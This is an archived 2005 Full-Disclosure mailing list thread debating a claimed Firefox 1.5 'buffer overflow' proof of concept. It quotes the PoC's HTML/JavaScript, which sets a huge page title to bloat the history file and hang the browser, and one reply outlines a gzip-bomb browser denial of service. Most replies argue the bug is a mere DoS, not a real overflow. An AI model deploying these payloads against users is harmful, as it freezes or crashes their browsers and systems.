lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Sat Dec 10 13:15:42 2005
From: ad at heapoverflow.com (ad@...poverflow.com)
Subject: Firefox 1.5 buffer overflow (poc) - more buffer
	"overflows" waiting to be discovered

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

have 2,5Gb DDR2 ram and nothing happen here, it loads during 1 min, then
all is fine.. I guess the sploit coder had 64 Mb edo :D :D

F?sforo wrote:
> It works here.
> 
> seems it depends on how much ram you've. i got 2 blue screens, after
> changed the code a bit. the first one was about MEMORY_MANAGEMENT and
> the second one was a PAGE_FAULT_IN_NONPAGED_AREA. And both occurs
> without user interaction, the second one i just've opened firefox, not
> the bug file (maybe cache ?)
> 
> ps: i've 1Gb of ram
> 
> <html><head><title>heh</title><script type="text/javascript">
> function ex() {
>        var buffer = "";
>        for (var i = 0; i < 5000; i++) {
>                buffer += "A";
>        }
>        var buffer2 = buffer;
>        var buffer3 = buffer2;
>        for (i = 0; i < 500; i++) {
>                buffer2 += buffer;
>                for (i = 0; i < 500; i++) {
>                         buffer3 += buffer2;
>                }
>        }
>        document.title = buffer2;
> }
> </script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
> </a></body></html>
> 
> 
> 
> 2006/1/31, ezdy <ezdy@....com>:
> 
>>and theres no reason for it to be working.
>>first let's see what's going on - i loaded provided html in firefox
>>and quitted it.
>>even quitting firefox took a while, but only slightly longer than usual.
>>after starting firefox again, it indeed didn't load, stuck in some
>>kind of disk loop ignoring all macosx ui events.
>>but not swapping. alright, that's strange:
>>
>>ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
>>bin
>>ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
>>tail -100
>>...
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>  7616 firefox-bin GIO   fd 24 read 4096 bytes
>>       "0"
>>  7616 firefox-bin RET   read 4096/0x1000
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>  7616 firefox-bin GIO   fd 24 read 4096 bytes
>>       "0"
>>  7616 firefox-bin RET   read 4096/0x1000
>>  7616 firefox-bin CALL  lseek(0x18,0x21a000,0)
>>  7616 firefox-bin RET   lseek 0
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>  7616 firefox-bin GIO   fd 24 read 4096 bytes
>>       "0"
>>  7616 firefox-bin RET   read 4096/0x1000
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>  7616 firefox-bin GIO   fd 24 read 4096 bytes
>>       "\\"
>>  7616 firefox-bin RET   read 4096/0x1000
>>  7616 firefox-bin CALL  lseek(0x18,0x21c000,0)
>>  7616 firefox-bin RET   lseek 0
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>  7616 firefox-bin GIO   fd 24 read 4096 bytes
>>       "A"
>>  7616 firefox-bin RET   read 4096/0x1000
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>  7616 firefox-bin GIO   fd 24 read 4096 bytes
>>       "A"
>>  7616 firefox-bin RET   read 4096/0x1000
>>  7616 firefox-bin CALL  lseek(0x18,0x21e000,0)
>>  7616 firefox-bin RET   lseek 0
>>  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
>>
>>this repeats virtually ad-infinitum until end of history.dat is reached.
>>note that there is never allocated any memory-the same buffer is
>>always used, thus no memory leak.
>>firefox is stuck in loop (and eventually starts, since the string is
>>finite, in my case
>>about 30M) but it took way too longer to load. im not a windows user
>>but since mac is only
>>step away from it (you know apple, let's take win95 and freebsd and
>>mix it together) my guess is
>>it is the same situation of keeping main thread busy and events
>>cannot be passed down, eventualy
>>leading to "application is not responding" killbox.
>>
>>for Z1PL0CK:
>>Don't stop, keep posting fake "buffer overflows" of #darknet
>>trademonkeys (this one actually looked funny in the beggining).
>>This time you made it to get /.ed which is not a bad start, but yo
>>gonna fly higher!
>>
>>Because this bug got killed, i've something better for you:
>>dd if=/dev/zero a 2GB file and gzip it. then just write a php script
>>which sets content-encoding: gzip and
>>fpassthru the file. safari rendered 1.2gb system unresponsible in 5
>>seconds, firefox in about 30. both crashed
>>on "overflows" like this:
>>
>>Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
>>failed (error code=3)
>>Safari(233,0xa000ed68) malloc: *** error: can't allocate region
>>Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
>>debug
>>
>>for those interested i can send coredumps
>>
>>now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
>>pollute browser's heap with shellcode: yah, this
>>is a good way).
>>
>>sheesh. is this some 'who invent a stupidier dos attack against
>>browser' contest of some sort or what?
>>
>>On 8.12.2005, at 20:51, Matt wrote:
>>
>>
>>>Didn't work here, just made the system go a bit sluggish for a
>>>moment, as you would expect when dealing with a 2.5  million
>>>character string.
>>>
>>>Firefox :
>>>Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
>>>Firefox/1.5
>>>Built with :
>>>gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
>>>Window manager:
>>>KDE 3.5.0
>>>
>>>Possibly it is crashing the Windows API ?
>>>
>>>--
>>>Matt
>>>
>>>
>>>On 12/9/05, Ron <iago@...hallalegends.com > wrote:I was also unable
>>>to replicate it, on Firefox 1.5 i386 Linux EN
>>>
>>>ad@...poverflow.com wrote:
>>>
> nor a fake , nor you really dont know what is a buffer overflow,
>>>>
>>>>but for
>>>>
> sure here on my firefox 1.5 EN, the client is much longuer to
>>>>
>>>>load to
>>>>
> the next boot but it reloads fine without exceptions and there is
> nothing about a security bug here...
> 
> 
> 
>><!-- Firefox 1.5 buffer overflow
> 
>>Basically firefox logs all kinda of URL data in it's history.dat
>>>>
>>>>file,
>>>>
>>this little script will set a really large topic and Firefox
>>>>
>>>>will then
>>>>
>>save that topic into it's history.dat.. The next time that
>>>>
>>>>firefox is
>>>>
>>opened, it will instantly crash due to a buffer overflow -- this
>>>>
>>>>will
>>>>
>>happen everytime until you manually delete the history.dat file
>>>>
>>>>-- >which
>>>>
>>most users won't figure out.
> 
>>this proof of concept will only prevent someone from reopening
>>their browser after being exploited. DoS if you will. however, code
>>execution is possible with some modifcations.
> 
>>Tested with Firefox 1.5 on Windows XP SP2.
> 
>>ZIPLOCK <sickbeatz@...il.com>
> 
>>-->
>><html><head><title>heh</title><script type="text/javascript">
>>function ex() {
>>     var buffer = "";
>>     for (var i = 0; i < 5000; i++) {
>>             buffer += "A";
>>     }
>>     var buffer2 = buffer;
>>     for (i = 0; i < 500; i++) {
>>             buffer2 += buffer;
>>     }
>>     document.title = buffer2;
>>}
>></script></head><body>ZIPLOCK says <a href="javascript:ex
>>>>
>>>>();">CLICK ME
>>>>
>></a></body></html>
> 
>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>>Hosted and sponsored by Secunia - http://secunia.com/
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>Hosted and sponsored by Secunia - http://secunia.com/
>>

> --

> ----------------------------------------------

> "O  caminho  do  homem  de  bem  ?  cercado de
> todos os lados  pelas  iniq?idades do  ego?smo
> e tirania  dos homens maus.  Aben?oados os que,
> em  nome da caridade e  boa vontade,  conduzem
> os  fracos pelo  vale das  sombras, pois ele ?
> o  guardi?o  de seu irm?o e o  que encontra os
> filhos perdidos. E eu vou  atacar com vingan?a
> e f?ria  os que tentarem  envenenar e destruir
> meus irm?os. E quando minha vingan?a se abater
> sobre  eles,  saber?o  que  eu sou  o Senhor."

> (Ezequiel, 25, 17)


> ------------------------------------------------------------------------


> ------------------------------------------------------------------------

> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)

iQIVAwUBQ5rU06+LRXunxpxfAQL01xAAsul2yJ5sBYweCOYD9C4N0og4vYjU7QG8
qD4QDU6FFsFpMoK6J/ZBfXI+hx17s2lhpD/5EuhCljvkjCg1r0N51nML5zW703kU
DSDQ8VS08IHhcZZEYT+i/JMqs0WCXtnSMQVSBYr/apOD8u2NlzJ27+5xyi47MHsf
l1Rz9rBDzVw8/jVhWqykGxseTtI2u9+9EIbWODf7hGyW/v4XbkjzG3KXwEkqYIEa
ru6uHclDTMlo7f6Rzzf69pUgkl3P/JUNnDjVQgibJWhrw/EiC485smG4QYh38ET+
jkROka6ExJV8jEXFeF2sD++++0ApVz7zfYZ0lZhC0mZl+QjBLC7rN15BMGBnZecv
tOUGI1b3vSaBw2DSo9RUIYsVeHd7UfqFbxC/WMiOhnue/lhLc3uu9ERSFCYmcpPe
NpW5LVTSxcsdEf+n3zsznCAwK/vOsSAtAlmMka6k94wATMWTwpAI+40RHuNU6iaG
SlmohFgsd2I6yt3DGLo7fDzAlk6kxtfnvwK9yUQs/WzH5FCtvBQMM1myWXas2cWE
ZppvEMR4dKJv0ranv+m6e1eFWbbgLzeeRmQqG6j7z11DajYR/l8CfpDYHM2SHR+O
nQeG763GgI63s2S8B3EG3sx9usu4cx4uLillhpxhJmFRxVmvNwFiEjEw9cFP5siU
2aqKfo3z3Mw=
=wnQw
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ